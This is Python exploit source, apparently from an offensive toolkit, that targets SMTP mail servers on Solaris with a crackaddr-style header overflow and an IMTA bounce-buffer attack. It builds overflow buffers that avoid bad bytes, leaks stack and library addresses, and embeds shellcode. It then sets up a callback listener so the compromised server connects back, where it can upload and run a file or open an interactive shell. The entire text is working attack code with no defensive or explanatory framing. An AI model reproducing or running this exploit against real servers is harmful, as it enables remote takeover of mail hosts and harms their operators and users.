def buildBaseBuffer(self, imtaBase): filler = utils.buildBuffer(self.baseBufLen, self.badBytes) conn = self.conn found = False while ((not found) and (conn < len(self.addrs))): addr = imtaBase + self.addrs[conn] conn += 1 if (not utils.intHasBadBytes(addr, self.badBytes)): found = True self.conn = conn if (not found): raise IndexError() baseBuf = filler[0x0:0x104] \ + utils.stringifyAddr(addr) \ + filler[0x108:0x120] \ + utils.stringifyAddr(addr) \ + utils.stringifyAddr(addr) \ + utils.stringifyAddr(addr) \ + filler[0x12c:0x134] \ + utils.stringifyAddr(addr) \ + utils.stringifyAddr(addr) \ + utils.stringifyAddr(addr) \ + filler[0x140:0x17c] \ + utils.stringifyAddr(addr) \ + filler[0x180:] return baseBuf
def exploit(self): try: attempt = self.attempt except AttributeError: attempt = self.attempt = 1 nAttempts = self.nAttempts challenge = utils.buildBuffer(4, self.badBytes) shellcodeBuf = self.os.buildShellcodeBuffer(self, utils.buf2long(challenge)) bounceBuf = self.buildBounceBuffer() self.startNewMsg() sd = self.sd if ((attempt == self.nAttempts) and (1 == attempt)): print "\nSending exploit:" elif (attempt <= self.nAttempts): print "\nSending exploit (attempt %d of %d):" % (attempt, nAttempts) else: return 1 smtpUtils.sendMsg(sd, bounceBuf, shellcodeBuf) try: reply = smtpUtils.recvReply(sd) except smtpUtils.smtpServerCrashed, err: print "FAILURE!" print "Target crashed -- probably because we were not talking to " \ "the correct thread." self.attempt += 1 return self.exploit()
def buildSender2(self, finderValue): finder.data = finderValue filler = utils.buildBuffer(0xf9, self.badBytes) sender2 = "(" + filler[0x1:0x4] for i in range(0x4, 0x34, 4): sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x4c) for i in range(0x38, 0x44, 4): sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation) sender2 += filler[0x44:0x46] sender2 += chr(0xa0) sender2 += filler[0x47:0x68] # 0x68 - 0x6c -- overwrite (v)fprintf ptr (crackaddrBufLoc + 0x4c + 0x1c) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x80) sender2 += filler[0x6c:0x7c] # 0x7c - 0x80 -- overwrite fflush ptr (crackaddrBufLoc + 0x4c + 0x30) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x80) # 0x80 - ? sender2 += finder.build() sender2 += filler[len(sender2):] sender2 += ")" if (utils.bufHasBadBytes(sender2[1:-1], self.badBytes)): print "sender2 has bad bytes" return None nparens = (self.mciCacheLocation - self.crackaddrBufLocation) \ - len(sender2) for i in range(nparens): sender2 += "()>" return sender2
def buildStackLeakBuffer(self, target, stackBase): baseBuf = target.buildBaseBuffer(target.imtaBase) l7 = (stackBase + self.l7Stack) + target.l7Offset filler = utils.buildBuffer(4, target.badBytes) leakBuf = baseBuf \ + utils.stringifyAddr(l7) \ + filler # filler is necessary in case we # get 0x20 as the last byte in l7 return leakBuf
def buildBounceBuffer(self): imtaBase = self.imtaBase baseBuf = self.buildBaseBuffer(imtaBase) l7 = (imtaBase + self.l7Imta) + self.l7Offset fp = imtaBase + self.fp filler = utils.buildBuffer(0x18, self.badBytes) bounceBuf = baseBuf \ + utils.stringifyAddr(l7) \ + filler \ + utils.stringifyAddr(fp) \ + utils.stringifyAddr(self.pc - 8) return bounceBuf
def buildImtaLeakBuffers(self, imtaBase): baseBuf = self.buildBaseBuffer(imtaBase) l7 = (imtaBase + self.l7Imta) + self.l7Offset filler = utils.buildBuffer(4, self.badBytes) leakBuf = baseBuf \ + utils.stringifyAddr(l7) \ + filler # filler is necessary in case we # get 0x20 as the last byte in l7 response = imtaBase + self.l7ImtaResponse matchBuf = utils.stringifyAddr(response) \ + utils.stringifyAddr(0) \ + "01234\r\n" return leakBuf, matchBuf
def buildShellcodeBuffer(self, target): stackBase = target.stackBase basePC = stackBase + target.bigBufOffset pc = basePC while (utils.intHasBadBytes(pc - 8, target.badBytes)): pc += 4 socketLoc = stackBase + target.socketOffset solaris9shellcode.socket_offset = \ utils.stringifyAddr(socketLoc - (pc + 8)) filler = utils.buildBuffer(pc - basePC, target.badBytes) shellcodeBuf = filler \ + solaris9shellcode.build() target.pc = pc return shellcodeBuf
def buildSender2(self, finderValue): # offset addresses by 0x20 bytes from what's in senders.senders # to avoid bad bytes all over the place. finder.data = finderValue filler = utils.buildBuffer(0xf9, self.badBytes) sender2 = "(" + filler[0x1:0x4] sender2 += filler[0x4:0x24] # pad with 0x20 bytes of random for i in range(0x24, 0x54, 4): sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x20) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x6c) for i in range(0x58, 0x64, 4): sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x20) sender2 += filler[0x64:0x66] sender2 += chr(0xa0) sender2 += filler[0x67:0x88] # 0x88 - 0x8c -- overwrite (v)fprintf ptr (crackaddrBufLoc + 0x6c + 0x1c) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0xa0) sender2 += filler[0x8c:0x9c] # 0x9c - 0xa0 -- overwrite fflush ptr (crackaddrBufLoc + 0x6c + 0x30) sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0xa0) # 0xa0 - ? sender2 += finder.build() sender2 += filler[len(sender2):] sender2 += ")" if (utils.bufHasBadBytes(sender2[1:-1], self.badBytes)): print "sender2 has bad bytes" utils.dumpHex(sender2) return None nparens = (self.mciCacheLocation - self.crackaddrBufLocation) \ - len(sender2) for i in range(nparens): sender2 += "()>" return sender2
def buildBaseBuffer(self, imtaBase): filler = utils.buildBuffer(self.baseBufLen, self.badBytes) baseBuf = filler[0x0:] return baseBuf
def buildCrashBuffer(self): return utils.buildBuffer(self.crashBufLen, self.badBytes)
def doExploit(parms): target = targets.factory(parms.get('target', None), badBytes) if (None == target): print "No target OS specified." return -1 cport = parms.get('cport', None) clport = parms.get('clport', None); if (None == cport): ld, cport = bindCallbackListener(cport, clport) else: ld = bindCallbackListener(cport, clport) cip = parms.get('cip') callback.cip = socket.inet_aton(cip) callback.cport = utils.u16ToBeU16String(cport) authCode = utils.randomBase64(4,6) callback.authCode = authCode ufile = parms.get('upload', None) if (None != ufile): tmpnam = parms.get('tmpnam', None) if (None == tmpnam): tmpnam = utils.tmpnam() efile = parms.get('exec', None) if ((None != efile) and not (os.access(efile, os.F_OK or os.X_OK))): print "%s either does not exist or is not executable" % efile ld.close() return -1 fd = open(ufile, 'r') ufileContents = fd.read() fd.close() mask = chr(random.randint(0,255)) upload.data = mask # okay, so I mean upload.mask, but oh well upload.tmpnam = tmpnam + "\0" unencoded = callback.build() + upload.build() else: unencoded = callback.build() + interactive.build() encoded = dulEncode(unencoded) domain = parms.get("domain", None) if (None == domain): domain = utils.buildBuffer(0xe, badBytes) senderBegin = '\"' + utils.buildBuffer(3, badBytes) senderEnd = "\"@" + domain recipient = parms.get('recipient') finderValue = utils.buildBuffer(4, badBytes) sender2 = target.buildSender2(finderValue) if (None == sender2): print "Error building exploit message." ld.close() return -1 body = finderValue + encoded tip = parms.get('tip') tport = parms.get('tport') sd, banner = smtpUtils.connect(tip, tport, True) print banner.strip() if (None == re.compile(target.banner).search(banner)): print "The target's banner does not match expected banner." response = ' ' while (("y" != response[0]) and ("n" != response[0])): response = string.lower(raw_input("Continue [y/N]? ")); if ('' == response): response = "n" if ("n" == response[0]): sys.exit() smtpUtils.helo(sd, domain, validResponse) sent = 0 maxLen = 0xff - len(senderBegin) - len(senderEnd) chop = maxLen % 4 maxLen -= chop atimeout = parms.get('atimeout', None) if ("None" == atimeout): atimeout = None print "Sending a maximum of %d messages..." % (maxLen // 4) for fillLen in range(maxLen, 0, -4): # poll to see if we've received a callback status, ad = waitForCallback(ld, authCode, 0, atimeout) if (1 != status): smtpUtils.quit(sd) print "Sent %d messages." % sent break # send a new message sender1 = senderBegin senderBody = target.buildSender1(fillLen) if (None == senderBody): ld.close() return -1 sender1 += senderBody sender1 += senderEnd try: smtpUtils.mailFrom(sd, sender1, validResponse) smtpUtils.rcptTo(sd, recipient, validResponse) except smtpUtils.smtpError, err: err.printMsg() print "\nSent %d messages." % sent ld.close() return -1 smtpUtils.data(sd) smtpUtils.sendMsg(sd, "From: " + sender2, "Keywords: " + body) buf = smtpUtils.recvReply(sd).strip() print "%s:\t%s" % (hex(fillLen), buf) sent += 1